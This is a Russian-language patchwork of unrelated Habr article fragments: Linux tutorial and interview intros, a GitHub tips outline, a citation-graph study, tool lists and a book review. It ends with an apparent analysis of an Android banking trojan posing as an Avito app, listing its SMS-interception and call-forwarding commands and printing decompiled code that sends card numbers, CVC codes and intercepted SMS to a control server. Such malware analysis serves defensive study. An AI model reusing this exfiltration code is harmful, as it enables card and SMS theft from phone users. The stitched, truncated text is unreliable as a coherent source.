1. «Делаем приватный монитор из старого LCD монитора», kfedorov — 1484 проголосовало, 18 отрицательно (2011)
2. «История игрушки. Поле Чудес», PapaBubaDiop — 933 проголосовало, 10 отрицательно (2011)
3. «Как мы искали Марс-3», Zelenyikot — 677 проголосовало, 8 отрицательно (2013)
4. «Читаем QR код», tgx — 621 проголосовало, 9 отрицательно (2011)
5. «Бейджи для Хабра, версия», idenisenko — 562 проголосовало, 10 отрицательно (2011)
6. «Загадка выпадающего списка «Амазона»», atomlib — 558 проголосовало, 10 отрицательно (2013)
7. «Как я наказал Firaxis или история о том, как перебрать бинарный движок через глушитель», Harkonnen — 551 проголосовало, 4 отрицательно (2010)
8. «Банкомат. Некоторые особенности», UserSide — 548 проголосовало, 6 отрицательно (2014)
9. «Взгляд изнутри: светодиодные лампочки», Tiberius — 542 проголосовало, 5 отрицательно (2011)
10. «Самодельный трекинг посылок, или Туда и Обратно», legrus — 533 проголосовало, 1 отрицательно (2013)

Предисловие

Об этом руководстве

Добро пожаловать в первую из четырех частей обучающего руководства по основам Linux, разработанного чтобы подготовить вас к сдаче экзамена Linux Professional Institute 101. В нем вы познакомитесь с bash (стандартной оболочкой командного интерпретатора в Linux), узнаете о большинстве возможностей таких стандартных команд Linux, как ls, cp и mv, разберетесь в инодах, жестких и символьных ссылках, и многом другом. К концу этого руководства у вас сформируется некий фундамент знаний, и вы будете готовы к изучению основ администрирования Linux. К концу всего курса (8 частей), у вас будет достаточно навыков, чтобы стать системным администратором Linux и пройти сертификацию LPIC Level 1 от Linux Professional Institute, если конечно захотите.

Данная первая часть руководства отлично подходит для новичков в Linux, а также для тех пользователей, кто хочет освежить или улучшить свое понимание фундаментальных концепций Linux, таких, как копирование и перемещение файлов, создание символических и жестких ссылок, а также стандартных команд обработки текста, включая конвейеры и перенаправления. По ходу мы также дадим множество советов, подсказок и трюков, что делает это руководство насыщенным и практичным, даже для тех, кто уже имеет солидный опыт работы с Linux. Для начинающих большая часть этого материала будет новой, но более продвинутые пользователи Linux найдут это руководство отличным средством, чтобы разложить свои фундаментальные навыки по полочкам у себя в голове.

Во время собеседований на роль linux/unix администратора во многих IT-компаниях спрашивают, что такое load average, чем nginx отличается от apache httpd и что такое fork. В этой статье я постараюсь объяснить, что рассчитывают услышать в ответ на эти вопросы, и почему.

Здесь важно очень хорошо понимать основы администрирования. В идеальной ситуации при постановке задачи системному администратору выставляют ряд требований. Если же ситуация не идеальная, то, по сути, требование к администратору одно: «Хочу, чтобы всё работало». Иными словами, сервис должен быть доступен 24/7 и, если какое-то решение не удовлетворяет этим требованиям (масштабирование и отказоустойчивость относятся к доступности), то можно сказать, что администратор плохо сделал свою работу. Но если разные решения двух администраторов работают 24/7, как понять, какое из них лучше?

Хороший системный администратор при выборе решения при заданных требованиях ориентируется на два условия: минимальное потребление ресурсов и их сбалансированное распределение.

Вариант, когда одному специалисту нужно 10 серверов для выполнения задания, а второму всего 2, мы рассматривать не будем, что тут лучше – очевидно. Далее под ресурсами я буду понимать ЦПУ (cpu), ОЗУ (ram) и диск (hdd).

Давайте рассмотрим ситуацию: один администратор создал решение, которое требует 10% cpu, 5% ram и 10% hdd от всего вашего оборудования, а второй использовал для этого 1% cpu, 40% ram и 20% hdd. Какое из этих решений лучше? Тут все становится уже не так очевидно. Поэтому хороший администратор всегда должен уметь грамотно подобрать решение, исходя из имеющихся ресурсов.

Содержание

• Трюки с URL
• Горячие клавиши
• Тикеты и пулл-реквесты
• Github markdown
• Аккаунт
• Работа с репозиториями
• Поиск кода
• Командная строка и Github
• User scripts
• Github-вандализм
• Дополнительные Github-ресурсы
• Полезные ссылки

Хаб «Информационная безопасность» один из самых популярных на Хабре. Более того, в последние годы вопрос конфиденциальности в сети становится очень актуальным, учитывая сканирование наших электронных писем. Но кроме специалистов в данной сфере мало кто в этом разбирается, поэтому давайте попробуем познакомиться с информационной безопасностью поближе и применить ее в своих проектах, как это сделали мы.

Однажды, мне стало интересно: насколько статьи на Хабре связаны между собой? Поэтому сегодня мы займемся исследованием связности статей, и конечно не только посчитаем численные метрики, но и увидим картину целиком.

(это не просто картинка для привлечения внимания, а граф цитирования статей внутри Хабрахабра, где размер вершин определяется числом входящих рёбер, i.e., "количеством цитат внутри Хабра")

Началось всё с того, что в комментариях к статье про Хабра-граф и карму Tiberius и Loriowar озвучили идею, фактически витающую в воздухе: а почему бы не взглянуть на граф цитирования статьёй внутри самого Хабра?

Вы спрашивали? Мы отвечаем. Для того чтобы рассказ не был размахиванием рук, конкретизируем разбираемые вопросы:

• Q₁: Как выглядит граф цитирования Хабрахабра и какие в нём хабы (hubs and authorities)?

  
  

• Q₂: Насколько связным является сообщество (граф цитирования) и какие в нём кластеры?

  
  
• Q₃: Как изменится граф, если из него убрать самоцитирование?

Под катом трафик. Все картинки кликабельны.

A. Бесплатные Веб-Сайты + Логотипы + Хостинг + Выставление Счета

• HTML5 UP: Адаптивные шаблоны HTML5 и CSS3.
• Bootswatch: Бесплатные темы для Bootstrap.
• Templated: Коллекция 845 бесплатных шаблонов CSS и HTML5.
• Wordpress.org | Wordpress.com: Бесплатное создание веб-сайта.
• Strikingly.com Domain: Конструктор веб-сайтов.
• Logaster: Онлайн генератор логотипов и элементов фирменного стиля (new).
• Withoomph: Мгновенное создание логотипов (англ.).
• Hipster Logo Generator: Генератор хипстерских логотипов.
• Squarespace Free Logo: Можно скачать бесплатную версию в маленьком разрешении.
• Invoice to me: Бесплатный генератор счета.
• Free Invoice Generator: Альтернативный бесплатный генератор счета.
• Slimvoice: Невероятно простой счет.

Безопасность

Тактика хакера: практическое руководство по тестированию на проникновение (The Hacker Playbook: Practical Guide To Penetration Testing)

Книга «Программируем коллективный разум» в основном посвящена алгоритмам классификации и кластеризации, хотя есть главы, посвященные другим темам вроде создания собственного поисковика, генетическим алгоритмам и генетическому программированию. Почти все описанные алгоритмы применяются в духе Web 2.0, используя анализ поведения пользователей на разных сайтах, которые предоставляют свой API. Но что особенно приятно удивило, так это то, что все примеры написаны на языке Python.

Вот какие алгоритмы описываются в книге:

• Коллаборативная фильтрация. Или, говоря человечески языком, алгоритмы, которые могут рекомендовать вам какие-то покупки, сайты или музыку в зависимости от оценок, которые вы поставили другим подобным вещам. По таким алгоритмам работает навязывание покупок в интернет-магазинах или подбор музыки на last.fm. В конце главы приводится пример, который будет рекомендовать вам ссылки из сервиса del.icio.us.
• Алгоритмы группировки (кластеризации). Создаваемый пример анализирует RSS-каналы блогов и пытается их автоматически разделить на группы в виде дерева в зависимости от частоты слов, которые попадаются в блоге. Заодно Сегаран рассказывает как можно сделать так, чтобы названия блогов расположились на плоскости кучками в зависимости от их близости в плане рассматриваемых тем.
• Отдельная глава посвящена построению поисковиков – созданию паука и, самое главное, рассматриваются алгоритмы ранжирования ссылок, в том числе и с учетом ссылок страниц друг на друга, создавая, таким образом, аналог Google PageRank. Еще интересно, что в этой же главе есть пример, где для выдачи наиболее релевантных ссылок используется нейронная сеть, которая обучается по мере того как пользователь щелкает на понравившиеся ему ссылки.

Исследование APK

• delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
• sent&&& — отправка заданных СМС-сообщений с сервера
• rent&&& — перехват всех СМС-сообщений и отправка их на сервер
• sms_stop&&& — отмена перехвата СМС-сообщений
• ussd&&& — USSD-запрос
• call_1&&& — установка и отмена безусловной переадресации

protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());